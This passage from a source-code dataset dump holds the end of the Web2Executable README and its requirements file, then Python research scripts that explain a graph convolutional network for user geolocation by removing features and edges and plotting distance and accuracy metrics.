feature to do.\n\nOn the other hand, if you have any annoyances with the application and want to contribute to making it better for everyone, please file an issue with \"Annoyance:\" as the first part of the title. Sometimes it's hard to know what is annoying for people and input is much appreciated :)\n\nWhat About Electron?\n--------------------\n\nIf you want to export using Electron instead of NW.js, try [Electrify](https://github.com/jyapayne/Electrify), my other app based on Web2Executable.\n\n\nWho's Using It?\n---------------\n\nLots of people! There are currently thousands of downloads and several articles written about using Web2Executable.\n\nSome articles include:\n\n[Getting a Phaser Game on Steam](http://phaser.io/news/2015/10/getting-a-phaser-game-on-steam)\n\n[Packt Publishing NW.js Essentials Tutorial](https://www.packtpub.com/packtlib/book/Web-Development/9781785280863/7/ch07lvl1sec53/Web2Executable) and [Ebook](https://books.google.ca/books?id=wz6qCQAAQBAJ&pg=PA135&lpg=PA135&dq=web2executable&source=bl&ots=sPP-3BOMXX&sig=UolyF31WcTgA-lrel2UTIfzs65U&hl=en&sa=X&redir_esc=y#v=onepage&q=web2executable&f=false)\n\n[A Russian NW.js Tutoral](http://canonium.com/articles/nwjs-web-to-executable)\n\n[Marv's Blog](http://www.marv.ph/tag/web2exe/)\n\n[Shotten.com Node-webkit for Poets](http://www.shotton.com/wp/2014/10/27/node-webkit-for-poets-mac-version/)\n\nIf you have a project you'd like to see listed here that was successfully built using Web2Executable or you have written an article that mentions it, feel free to send me an email with a link and I'd be super stoked to paste it here :)\n\n\nFeatures\n--------\n\n- Cross platform to Mac, Windows, Linux\n- Working media out of the box (sound and video)\n- Easy to use and straightforward\n- Streamlined workflow from project -> working standalone exe\n- Same performance as Google Chrome\n- Works with Phaser; should work with other HTML5 game libraries\n- Export web applications to all platforms from your current OS\n- Ability to specify a node-webkit version to download\n- Automatic insertion of icon files into Windows exe's or Mac Apps by filling out the icon fields as necessary\n- A command line utility with functionality equivalent to the GUI. Useful for automated builds.\n- Compression of executables with upx\n\nPlanned New Features\n--------------------\n\n- The ability to add external files to the project\n- Minifying JS and HTML\n\n\nGetting Started\n---------------\n\n### Using Prebuilt Binaries\n\nWhen using the prebuilt binaries for Windows, Mac, or Ubuntu, there are NO dependencies or extra applications needed. Simply download Web2Exe for the platform of your choice, extract, and double click the app/exe/binary to start. This applies to both the command-line version and the GUI version.\n\n**NOTE!**: Some people report needing the Microsoft Visual C++ 2008/2010 SP1 and regular Redistributable package. I don't have a machine to test this, but just know that you might need the package if the application won't open or spits out the following error:\n\n```\nError: The application has failed to start because the side by side configuration is incorrect please see the application event log or use the command line sxstrace.exe tool for more detail.\n```\n\n\n### Building from Source\n\nRequires the PySide library and Python 3.4.3 or higher. If you want to replace the icon in the Windows Exe's, this will do it automatically with the latest code if you have PIL or Pillow installed.\n\n### Command line interface\n\nDependencies: configobj (install with pip) and Pillow if you want icon replacement (not necessary)\n\nRun the command_line.py with the --help option to see a list of export options. Optionally, if you don't want to install python, there are builds for Mac and Windows in the command_line_builds folder of this repository.\n\nExample usage (if using the prebuilt binary, replace `python3.4 command_line.py` with the exe name):\n\n```\npython3.4 command_line.py /var/www/html/CargoBlaster/ --main html/index.html --export-to linux-x64 windows mac --width 900 --height 700 --nw-version 0.10.5\n```\n\n### GUI\n\nInstall dependencies:\n\n```\npip install -r requirements.txt\n```\n\nInitiate submodules:\n\n```\ngit submodule update --init --recursive\n```\n\nRun with:\n\n```\npython3.4 main.py\n```\n\nGeneral Instructions for exporting:\n\n 1. Choose a project folder with at least one html or php file. The name of the export application will be autogenerated from the folder that you choose, so change it if you so desire.\n 2. Modify the options as needed.\n 3. Choose at least one export platform and then the Export button should be enabled (as long as the field names marked with a star are filled out and all files in the fields exist).\n 4. Click the export button and once it's done, click the \"Open Export Folder\" button to go to the folder where your exported project will be.\n\n\n### Issues?\n\nIf you have an issue, please check the FAQ before filing an issue to see if it helps.\n\n[FAQ](https://github.com/jyapayne/Web2Executable/wiki/FAQ)\n\n\n### Additional Info\n\n[Changelog](https://github.com/jyapayne/Web2Executable/releases)\n\n[Screenshots](https://github.com/jyapayne/Web2Executable/wiki/Screenshots)\n\n\nLicense\n-------\n\nThe MIT License (MIT)\n\nCopyright (c) 2015 SimplyPixelated\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n" }, { "alpha_fraction": 0.594059407711029, "alphanum_fraction": 0.7425742745399475, "avg_line_length": 21.44444465637207, "blob_id": "bb2d68ba77d115ba4be76a16966f75c23a60740e", "content_id": "0bb546c09024d85bcfda7ec809eebaabd2972484", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 202, "license_type": "permissive", "max_line_length": 62, "num_lines": 9, "path": "/requirements.txt", "repo_name": "jyapayne/Web2Executable", "src_encoding": "UTF-8", "text": "appdirs==1.4.4\nconfigobj==5.0.6\nhttps://github.com/pyinstaller/pyinstaller/archive/develop.zip\npillow==9.1.1\npyside2==5.15.2.1\npytest==7.1.2\nrequests==2.28.0\nsemantic_version==2.10.0\nvalidators==0.20.0\n" } ]
4
shashank-rv/Graph_Convolutional_Networks
https://github.com/shashank-rv/Graph_Convolutional_Networks
6abbbc71e3a772473bade7c721076918b3db7395
ede33fba37d9514306016b2b5fc9a6c0a9b7a5c2
f045094c8a1d981045466f9d51a851f487d290aa
refs/heads/master
2022-12-31T02:10:23.955941
2020-10-16T03:46:28
2020-10-16T03:46:28
297,246,688
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.577424943447113, "alphanum_fraction": 0.6365811228752136, "avg_line_length": 31.850000381469727, "blob_id": "e66b9d12550045071d2cdadbfb387c6f84bc51d7", "content_id": "bdf302ce8c87c7f72a647f3a81356f82d74af8ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4598, "license_type": "no_license", "max_line_length": 110, "num_lines": 140, "path": "/visuavalizations.py", "repo_name": "shashank-rv/Graph_Convolutional_Networks", "src_encoding": "UTF-8", "text": "from libraries import *\n\npercent = [0,5,10,20,40,60,80,100]\n\n# df1 = pd.read_csv(\"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\remove_features.csv\")\n\n# df1['percent'] = percent *100\n\n# mean_pts = [np.mean(df1[df1['percent']==i]['haversine_distance']) for i in percent]\n# median_pts = [np.median(df1[df1['percent']==i]['haversine_distance']) for i in percent]\n\n# acc_pts = []\n# for i in percent:\n# dist = list(df1[df1['percent']==i]['haversine_distance'])\n# accuracy= len([d for d in dist if d < 161]) / float(len(dist))\n# acc_pts.append(accuracy)\n\n# f, axs = plt.subplots(2,2,figsize=(15,15))\n# axs[0,0].set_title(\"mean\")\n# axs[0,0].plot(mean_pts)\n# axs[0,1].set_title(\"median\")\n# axs[0,1].plot(median_pts)\n# axs[1,0].set_title(\"accuracy\")\n# axs[1,0].plot(acc_pts)\n# plt.show()\n\n\n# df2 = pd.read_csv(\"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\remove_edges.csv\")\n# df2['percent'] = percent *100\n\n# mean_pts_2 = [np.mean(df2[df2['percent']==i]['haversine_distance']) for i in percent]\n# median_pts_2 = [np.median(df2[df2['percent']==i]['haversine_distance']) for i in percent]\n\n# acc_pts_2 = []\n# for i in percent:\n# dist = list(df2[df2['percent']==i]['haversine_distance'])\n# accuracy= len([d for d in dist if d < 161]) / float(len(dist))\n# acc_pts_2.append(accuracy)\n\n# f, axs = plt.subplots(2,2,figsize=(15,15))\n# axs[0,0].set_title('mean')\n# axs[0,0].plot(mean_pts_2)\n# axs[0,1].set_title(\"median\")\n# axs[0,1].plot(median_pts_2)\n# axs[1,0].set_title(\"acc\")\n# axs[1,0].plot(acc_pts_2)\n# plt.show()\n\n\n\n\n# df3 = pd.read_csv(\"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\remove_both.csv\")\n# df3['percent'] = percent *100\n\n# mean_pts_3 = [np.mean(df3[df3['percent']==i]['haversine_distance']) for i in percent]\n# median_pts_3 = [np.median(df3[df3['percent']==i]['haversine_distance']) for i in percent]\n\n# acc_pts_3 = []\n# for i in percent:\n# dist = list(df3[df3['percent']==i]['haversine_distance'])\n# accuracy= len([d for d in dist if d < 161]) / float(len(dist))\n# acc_pts_3.append(accuracy)\n\n# f, axs = plt.subplots(2,2,figsize=(15,15))\n# axs[0,0].set_title(\"mean\")\n# axs[0,0].plot(mean_pts_3)\n# axs[0,1].set_title(\"median\")\n# axs[0,1].plot(median_pts_3)\n# axs[1,0].set_title(\"acc\")\n# axs[1,0].plot(acc_pts_3)\n# plt.show()\n\n\n# #random removal visuavalizations:\n\n\n# df4 = pd.read_csv(\"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\remove_features_random.csv\")\n# df4['percent'] = percent *100\n\n# mean_pts_4 = [np.mean(df4[df4['percent']==i]['haversine_distance']) for i in percent]\n# median_pts_4 = [np.median(df4[df4['percent']==i]['haversine_distance']) for i in percent]\n\n# acc_pts_4 = []\n# for i in percent:\n# dist = list(df4[df4['percent']==i]['haversine_distance'])\n# accuracy= len([d for d in dist if d < 161]) / float(len(dist))\n# acc_pts_4.append(accuracy)\n\n# f, axs = plt.subplots(2,2,figsize=(15,15))\n# axs[0,0].set_title(\"mean\")\n# axs[0,0].plot(mean_pts_4)\n# axs[0,1].set_title(\"median\")\n# axs[0,1].plot(median_pts_4)\n# axs[1,0].set_title(\"accuracy\")\n# axs[1,0].plot(acc_pts_4)\n# plt.show()\n\n\n# df5 = pd.read_csv(\"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\remove_edges_random.csv\")\n# df5['percent'] = percent *100\n\n# mean_pts_5 = [np.mean(df5[df5['percent']==i]['haversine_distance']) for i in percent]\n# median_pts_5 = [np.median(df5[df5['percent']==i]['haversine_distance']) for i in percent]\n\n# acc_pts_5 = []\n# for i in percent:\n# dist = list(df5[df5['percent']==i]['haversine_distance'])\n# accuracy= len([d for d in dist if d < 161]) / float(len(dist))\n# acc_pts_5.append(accuracy)\n\n# f, axs = plt.subplots(2,2,figsize=(15,15))\n# axs[0,0].set_title('mean')\n# axs[0,0].plot(mean_pts_5)\n# axs[0,1].set_title(\"median\")\n# axs[0,1].plot(median_pts_5)\n# axs[1,0].set_title(\"acc\")\n# axs[1,0].plot(acc_pts_5)\n# plt.show()\n\n\ndf6 = pd.read_csv(\"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\remove_both_random.csv\")\ndf6['percent'] = percent *100\n\nmean_pts_6 = [np.mean(df6[df6['percent']==i]['haversine_distance']) for i in percent]\nmedian_pts_6 = [np.median(df6[df6['percent']==i]['haversine_distance']) for i in percent]\n\nacc_pts_6 = []\nfor i in percent:\n dist = list(df6[df6['percent']==i]['haversine_distance'])\n accuracy= len([d for d in dist if d < 161]) / float(len(dist))\n acc_pts_6.append(accuracy)\n\nf, axs = plt.subplots(2,2,figsize=(15,15))\naxs[0,0].set_title(\"mean\")\naxs[0,0].plot(mean_pts_6)\naxs[0,1].set_title(\"median\")\naxs[0,1].plot(median_pts_6)\naxs[1,0].set_title(\"acc\")\naxs[1,0].plot(acc_pts_6)\nplt.show()" }, { "alpha_fraction": 0.6219239234924316, "alphanum_fraction": 0.6286353468894958, "avg_line_length": 30.85714340209961, "blob_id": "90f3a2eb0e8353e3d7fbbc4797186abd9843273d", "content_id": "d2037d8a8f8f275f80797668395bae353906d484", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 447, "license_type": "no_license", "max_line_length": 84, "num_lines": 14, "path": "/utilities.py", "repo_name": "shashank-rv/Graph_Convolutional_Networks", "src_encoding": "UTF-8", "text": "from libraries import *\n\ndef priority_edges(edge_index,user):\n aa = np.where(np.array(edge_index[:, edge_mask.argsort()[:]][0])==user)\n bb = edge_index[:, edge_mask.argsort()[:]][:,aa]\n \n return bb[:,0]\n\ndef sorted_indexes(nz_indexes):\n \n indices = [node_feat_mask.argsort().tolist().index(i) for i in tqdm(nz_indexes)]\n prio_nz_indices = [i[1] for i in sorted(list(zip(indices,nz_indexes)))]\n \n return prio_nz_indices\n\n" }, { "alpha_fraction": 0.6330724358558655, "alphanum_fraction": 0.6579256653785706, "avg_line_length": 37.1119384765625, "blob_id": "8c5f9b99c16e927cdcdeb5e18eebedd339bd7b37", "content_id": "8c54a5565401e6df580484e865dcc5d156e83b04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5110, "license_type": "no_license", "max_line_length": 234, "num_lines": 134, "path": "/remove_features.py", "repo_name": "shashank-rv/Graph_Convolutional_Networks", "src_encoding": "UTF-8", "text": "from libraries import *\nfrom geo import Geo\nfrom load_functions import *\nfrom eval_functions import *\nfrom utilities import *\n\ndataset = 'geotext'\npath = \"C:\\\\Users\\\\61484\\\\Graph_Convolutional_networks\\\\data\\\\geo\"\ndataset = Geo(path, dataset, transform=None)\ndata = dataset[0]\n\nA, X_train, Y_train, X_dev, Y_dev, X_test, Y_test, U_train, U_dev, U_test, classLatMedian, classLonMedian, userLocation, vocab = get_geo_data(dataset.raw_dir, 'dump.pkl')\n\nU = U_train + U_dev + U_test\nlocs = np.array([userLocation[u] for u in U])\n\nclass Net(torch.nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.lin1 = Sequential(Linear(dataset.num_features, 300))\n self.conv1 = GCNConv(300, dataset.num_classes)\n #self.conv2 = GCNConv(300, 300)\n #self.lin2 = Sequential(Linear(300, dataset.num_features))\n\n def forward(self, x, edge_index):\n x = F.relu(self.lin1(x))\n x = F.dropout(x, training=self.training)\n x = F.relu(self.conv1(x, edge_index))\n #x = self.conv2(x, edge_index)\n #x = self.lin2(x)\n return F.log_softmax(x, dim=1)\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nmodel = Net().to(device)\ndata = data.to(device)\nx, edge_index = data.x, data.edge_index\n\nmodel_path = osp.join(dataset.raw_dir, 'model.pth')\nprint(f\"model path:{model_path}\")\nif osp.exists(model_path):\n model.load_state_dict(torch.load(model_path))\n model.eval()\n\nprint(model)\n\ndef sorted_indexes(nz_indexes):\n \n indices = [node_feat_mask.argsort().tolist().index(i) for i in tqdm(nz_indexes)]\n prio_nz_indices = [i[1] for i in sorted(list(zip(indices,nz_indexes)))]\n \n return prio_nz_indices\n\nexplainer = GNNExplainer(model, epochs=200)\n\n\n\ntest_index = np.arange(len(U_train + U_dev), len(U_train + U_dev + U_test)).tolist()\nhav_distance = [] #distance between the true and predcited labels for each user\nlatlon_tr = [] #true latitutde and longitude of the users\nlatlon_pre = []# predicted latitude and longitude of the users\naccuracy = []\nnum_us = []\nuser_id = []\npred_act = []\npred_pred = []\npercen = []\ncount = 0\n\n\nfor user in tqdm(test_index[0:100]):\n \n log_logists = model(x, edge_index)\n y_pred_test = torch.argmax(log_logists, dim=1)[np.arange(len(U_train + U_dev), len(U_train + U_dev + U_test))]\n y_pred_test = y_pred_test.detach().numpy()[count]\n pred_act.append(y_pred_test)\n \n #explaining the node\n node_feat_mask, edge_mask = explainer.explain_node(user, x, edge_index)\n \n #getting the non-zero indexes\n nz_indexes = np.array(x[user]).nonzero()[0]\n \n #sorting the non-zero indexes based on explained priority\n top_nz_indexes = sorted_indexes(nz_indexes)\n \n #looping throught the number of features removed:\n for num_features in tqdm([perc(top_nz_indexes,0),perc(top_nz_indexes,0.05),perc(top_nz_indexes,0.10),perc(top_nz_indexes,0.20),perc(top_nz_indexes,0.40),perc(top_nz_indexes,0.60),perc(top_nz_indexes,0.80),perc(top_nz_indexes,1)]):\n x_feature_rm = x.detach().clone()\n if num_features == 0:\n top_features = []\n else:\n top_features = top_nz_indexes[-num_features:]\n x_feature_rm[user][top_features]=0\n log_logists_new = model(x_feature_rm, edge_index)\n y_pred_test_new = torch.argmax(log_logists_new, dim=1)[user]\n pred_pred.append(y_pred_test_new)\n distances, acc_at_161, latlon_true, latlon_pred = geo_eval_trail(Y_test[count], np.array(y_pred_test_new), U_test[count], classLatMedian, classLonMedian, userLocation)\n hav_distance.append(distances[0])\n latlon_tr.append(latlon_true[0])\n latlon_pre.append(latlon_pred[0])\n accuracy.append(acc_at_161)\n num_us.append(num_features)\n user_id.append(U_test[count])\n count += 1\n #print(f\"mean:{mean} median: {median} acc: {acc}\")\n #after.append(y_pred_test_new)\n #print(f\"after {y_pred_test_new}\")\n\ndf1 = pd.DataFrame(list(zip(user_id,num_us,latlon_tr,latlon_pre,hav_distance,accuracy)),columns =['user','num_users','latlon_tru','latlon_pred','haversine_distance',\"acc_at_161\"])\n\n\npercent = [0,5,10,20,40,60,80,100]\ndf1['percent'] = percent *100\n\nmean_pts = [np.mean(df1[df1['percent']==i]['haversine_distance']) for i in percent]\nmedian_pts = [np.median(df1[df1['percent']==i]['haversine_distance']) for i in percent]\n\nacc_pts = []\nfor i in percent:\n dist = list(df1[df1['percent']==i]['haversine_distance'])\n accuracy= len([d for d in dist if d < 161]) / float(len(dist))\n acc_pts.append(accuracy)\n\n\ndf1.to_csv('C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\remove_features.csv',index=False)\n\nwith open(\"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\mean_pts_feature_rm.txt\", \"wb\") as fp: \n pickle.dump(mean_pts, fp)\n\nwith open(\"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\median_pts_feature_rm.txt\", \"wb\") as fp: \n pickle.dump(median_pts, fp)\n\nwith open(\"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\acc_pts_feature_rm.txt\", \"wb\") as fp: \n pickle.dump(acc_pts, fp)\n\n\n\n" }, { "alpha_fraction": 0.8421052694320679, "alphanum_fraction": 0.8421052694320679, "avg_line_length": 18, "blob_id": "c3d4f380d0c792ccff9131691678cb3ed34abe7a", "content_id": "1ef81bf10137960f9a4ce9de792e2ead0ca1a977", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 38, "license_type": "no_license", "max_line_length": 30, "num_lines": 2, "path": "/README.md", "repo_name": "shashank-rv/Graph_Convolutional_Networks", "src_encoding": "UTF-8", "text": "# Graph_Convolutional_Networks\nThesis\n" }, { "alpha_fraction": 0.6001726984977722, "alphanum_fraction": 0.6252158880233765, "avg_line_length": 42.71697998046875, "blob_id": "3810406bf2292c49c5f16f85eb073b24c20ff03e", "content_id": "d214c9f908a15b1dc4b244bc780b52f19abb248e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2316, "license_type": "no_license", "max_line_length": 143, "num_lines": 53, "path": "/eval_functions.py", "repo_name": "shashank-rv/Graph_Convolutional_Networks", "src_encoding": "UTF-8", "text": "from libraries import *\n\ndef geo_eval(y_true, y_pred, U_eval, classLatMedian, classLonMedian, userLocation):\n assert len(y_pred) == len(U_eval), \"#preds: %d, #users: %d\" %(len(y_pred), len(U_eval))\n distances = []\n latlon_pred = []\n latlon_true = []\n for i in range(0, len(y_pred)):\n user = U_eval[i]\n location = userLocation[user].split(',')\n lat, lon = float(location[0]), float(location[1])\n latlon_true.append([lat, lon])\n prediction = str(y_pred[i])\n lat_pred, lon_pred = classLatMedian[prediction], classLonMedian[prediction]\n latlon_pred.append([lat_pred, lon_pred]) \n distance = haversine((lat, lon), (lat_pred, lon_pred))\n distances.append(distance)\n\n acc_at_161 = 100 * len([d for d in distances if d < 161]) / float(len(distances))\n\n logging.info( \"Mean: \" + str(int(np.mean(distances))) + \" Median: \" + str(int(np.median(distances))) + \" Acc@161: \" + str(int(acc_at_161)))\n \n return np.mean(distances), np.median(distances), acc_at_161, distances, latlon_true, latlon_pred\n\ndef get_distance(user1, user2, userLocation):\n lat1, lon1 = userLocation[user1].split(',')\n lat2, lon2 = userLocation[user2].split(',')\n lat1, lon1 = float(lat1), float(lon1)\n lat2, lon2 = float(lat2), float(lon2)\n distance = haversine((lat1, lon1), (lat2, lon2))\n return distance\n\n\ndef geo_eval_trail(y_true, y_pred, U_eval, classLatMedian, classLonMedian, userLocation):\n #assert len(y_pred) == len(U_eval), \"#preds: %d, #users: %d\" %(len(y_pred), len(U_eval))\n distances = []\n latlon_pred = []\n latlon_true = []\n user = U_eval\n location = userLocation[user].split(',')\n lat, lon = float(location[0]), float(location[1])\n latlon_true.append([lat, lon])\n prediction = str(y_pred)\n lat_pred, lon_pred = classLatMedian[prediction], classLonMedian[prediction]\n latlon_pred.append([lat_pred, lon_pred]) \n distance = haversine((lat, lon), (lat_pred, lon_pred))\n distances.append(distance)\n\n acc_at_161 = len([d for d in distances if d < 161]) / float(len(distances))\n\n logging.info( \"Mean: \" + str(int(np.mean(distances))) + \" Median: \" + str(int(np.median(distances))) + \" Acc@161: \" + str(int(acc_at_161)))\n \n return distances,acc_at_161, latlon_true, latlon_pred" }, { "alpha_fraction": 0.6223259568214417, "alphanum_fraction": 0.6328276991844177, "avg_line_length": 36.27536392211914, "blob_id": "37c05d6d21498ee90f91d0c01e0a67937322da5d", "content_id": "2916b8c4368f905ee3f7f98b356787933f104052", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2571, "license_type": "no_license", "max_line_length": 141, "num_lines": 69, "path": "/load_functions.py", "repo_name": "shashank-rv/Graph_Convolutional_Networks", "src_encoding": "UTF-8", "text": "from libraries import *\n\ndef load_geotext(raw_dir, name):\n filename = osp.join(raw_dir, name)\n #print(raw_dir, name)\n #geo_data = load_obj(filename)\n #A, X_train, Y_train, X_dev, Y_dev, X_test, Y_test, U_train, U_dev, U_test, classLatMedian, classLonMedian, userLocation = geo_data\n geo_data = preprocess_data(raw_dir, builddata=False)\n #vocab = None\n A, X_train, Y_train, X_dev, Y_dev, X_test, Y_test, U_train, U_dev, U_test, classLatMedian, classLonMedian, userLocation, vocab = geo_data\n A.setdiag(1)\n A[A>0] = 1\n A = A.tocoo()\n edge_index = torch.tensor([A.row, A.col], dtype=torch.long)\n #A is the normalised laplacian matrix as A_hat in Kipf et al. (2016).\n #The X_? and Y_? should be concatenated to be feed to GCN.\n\n X = sp.sparse.vstack([X_train, X_dev, X_test])\n X = X.todense().astype(np.float32)\n X = torch.from_numpy(X)\n '''\n X = X.tocoo()\n values = X.data\n indices = np.vstack((X.row, X.col))\n X = torch.sparse_coo_tensor(indices = torch.tensor(indices), values = torch.tensor(values), size=X.shape)\n '''\n\n if len(Y_train.shape) == 1:\n y = np.hstack((Y_train, Y_dev, Y_test))\n else:\n y = np.vstack((Y_train, Y_dev, Y_test))\n #print(A.shape, X.shape, y.shape)\n y = y.astype(np.int64)\n y = torch.from_numpy(y)\n \n #get train/dev/test indices in X, Y, and A.\n train_index = torch.arange(0, X_train.shape[0], dtype=torch.long)\n val_index = torch.arange(X_train.shape[0], X_train.shape[0] + X_dev.shape[0], dtype=torch.long)\n test_index = torch.arange(X_train.shape[0] + X_dev.shape[0], X_train.shape[0] + X_dev.shape[0] + X_test.shape[0], dtype=torch.long)\n \n #print(val_index, y.size(0))\n train_mask = index_to_mask(train_index, size=y.size(0))\n val_mask = index_to_mask(val_index, size=y.size(0))\n test_mask = index_to_mask(test_index, size=y.size(0))\n\n data = Data(x=X, edge_index=edge_index, y=y)\n data.train_mask = train_mask\n data.val_mask = val_mask\n data.test_mask = test_mask\n return data, geo_data\n\n\ndef load_obj(filename, serializer=pickle):\n with gzip.open(filename, 'rb') as fin:\n obj = serializer.load(fin, encoding='latin1')\n return obj\n\n\n\ndef get_geo_data(raw_dir, name):\n filename = osp.join(raw_dir, name)\n #print(raw_dir, name)\n geo_data = load_obj(filename)\n #A, X_train, Y_train, X_dev, Y_dev, X_test, Y_test, U_train, U_dev, U_test, classLatMedian, classLonMedian, userLocation = geo_data\n return geo_data\n\n\ndef perc(indexes,num):\n return int(np.ceil(len(indexes)*num))" }, { "alpha_fraction": 0.8346994519233704, "alphanum_fraction": 0.8346994519233704, "avg_line_length": 24.275861740112305, "blob_id": "9c7b36de38cd1b2888242128287880dbfe5f0b0a", "content_id": "431b9fa1dc981aca89c9903e196f6c21d268111c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 732, "license_type": "no_license", "max_line_length": 61, "num_lines": 29, "path": "/libraries.py", "repo_name": "shashank-rv/Graph_Convolutional_Networks", "src_encoding": "UTF-8", "text": "import os\nimport sys\nimport pandas as pd\nimport pickle\nimport gzip\nfrom torch_geometric.data import Data, InMemoryDataset\nimport os.path as osp\nimport logging\nimport csv\nimport torch\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom tqdm import tqdm\nimport copy\nimport numpy as np\nimport pdb\nimport torch_geometric.transforms as T\nfrom torch_geometric.nn import GCNConv, GNNExplainer\nfrom torch.nn import Sequential, Linear\nfrom torch_geometric.nn import MessagePassing\nfrom torch_geometric.data import Data\nfrom torch_geometric.utils import k_hop_subgraph, to_networkx\nimport pdb\nimport numpy as np\nfrom haversine import haversine\nimport logging\nimport torch.nn.functional as F\nfrom random import sample" }, { "alpha_fraction": 0.5970756411552429, "alphanum_fraction": 0.6267711520195007, "avg_line_length": 35.6574592590332, "blob_id": "dda994c529512a457ed6a92947cfc641e66c1397", "content_id": "162b8ac6b703fa52c6622921b0e4d28edfa17052", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6634, "license_type": "no_license", "max_line_length": 209, "num_lines": 181, "path": "/remove_edges_random.py", "repo_name": "shashank-rv/Graph_Convolutional_Networks", "src_encoding": "UTF-8", "text": "from libraries import *\nfrom geo import Geo\nfrom load_functions import *\nfrom eval_functions import *\n\n\ndataset = 'geotext'\npath = \"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\data\\\\geo\"\ndataset = Geo(path, dataset, transform=None)\ndata = dataset[0]\n\nA, X_train, Y_train, X_dev, Y_dev, X_test, Y_test, U_train, U_dev, U_test, classLatMedian, classLonMedian, userLocation, vocab = get_geo_data(dataset.raw_dir, 'dump.pkl')\n\nU = U_train + U_dev + U_test\nlocs = np.array([userLocation[u] for u in U])\n\nclass Net(torch.nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.lin1 = Sequential(Linear(dataset.num_features, 300))\n self.conv1 = GCNConv(300, dataset.num_classes)\n #self.conv2 = GCNConv(300, 300)\n #self.lin2 = Sequential(Linear(300, dataset.num_features))\n\n def forward(self, x, edge_index):\n x = F.relu(self.lin1(x))\n x = F.dropout(x, training=self.training)\n x = F.relu(self.conv1(x, edge_index))\n #x = self.conv2(x, edge_index)\n #x = self.lin2(x)\n return F.log_softmax(x, dim=1)\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nmodel = Net().to(device)\ndata = data.to(device)\nx, edge_index = data.x, data.edge_index\n\nmodel_path = osp.join(dataset.raw_dir, 'model.pth')\nprint(f\"model path:{model_path}\")\nif osp.exists(model_path):\n model.load_state_dict(torch.load(model_path))\n model.eval()\n\n#returns the non_zero edges based on the explained priority:\ndef priority_edges(edge_index,user):\n aa = np.where(np.array(edge_index[:, edge_mask.argsort()[:]][0])==user)\n bb = edge_index[:, edge_mask.argsort()[:]][:,aa]\n \n return bb[:,0]\n\n#index of the same element:\n#cat = explained edge_indexes\ndef self_connection_index(cat,aa):\n bb = cat[:, edge_mask.argsort()[:]]\n xx = bb[:,aa[0]]\n vv = np.array(xx)\n for i in range(len(vv[0])):\n if vv[0][i]==vv[1][i]:\n return i\n#deleting self indexes from the indexes to be removed:\ndef delete_self(aa,index):\n aa3 = np.delete(aa,index,1)\n return aa3\n\n#sorting the other connection index, based on the intial indexes(in the future,it would to easier to remove both edges at the same time)\ndef sort2edge(cat,aa3,aa4):\n bb = cat[:, edge_mask.argsort()[:]]\n ee = bb[:,aa3[0]]\n ff = bb[:,aa4[0]]\n ls = []\n for i in ff[0]:\n cnt = 0\n for j in ee[1]:\n if i==j:\n ls.append(cnt)\n cnt +=1\n r = np.arange(len(aa4[0]))\n np.put(r,ls,list(aa4[0]))\n return r\n\n#revering indexes:\ndef revere_indexes(r):\n return r[::-1]\n\ndef find_indx(ls1,ls2):\n ls= []\n for i in ls1:\n cnt=0\n for j in ls2:\n if i==j:\n ls.append(cnt)\n cnt+=1 \n return ls\n\n\nexplainer = GNNExplainer(model, epochs=200)\n\n#random removal of edges:\ntest_index = np.arange(len(U_train + U_dev), len(U_train + U_dev + U_test)).tolist()\nhav_distance = [] #distance between the true and predcited labels for each user\nlatlon_tr = [] #true latitutde and longitude of the users\nlatlon_pre = []# predicted latitude and longitude of the users\naccuracy = []\nnum_us = []\nuser_id = []\nuser_add = 0\n\nrand_edges = np.arange(211451)\n\nfor user in tqdm(test_index[0:100]):\n #explaining the node\n node_feat_mask, edge_mask = 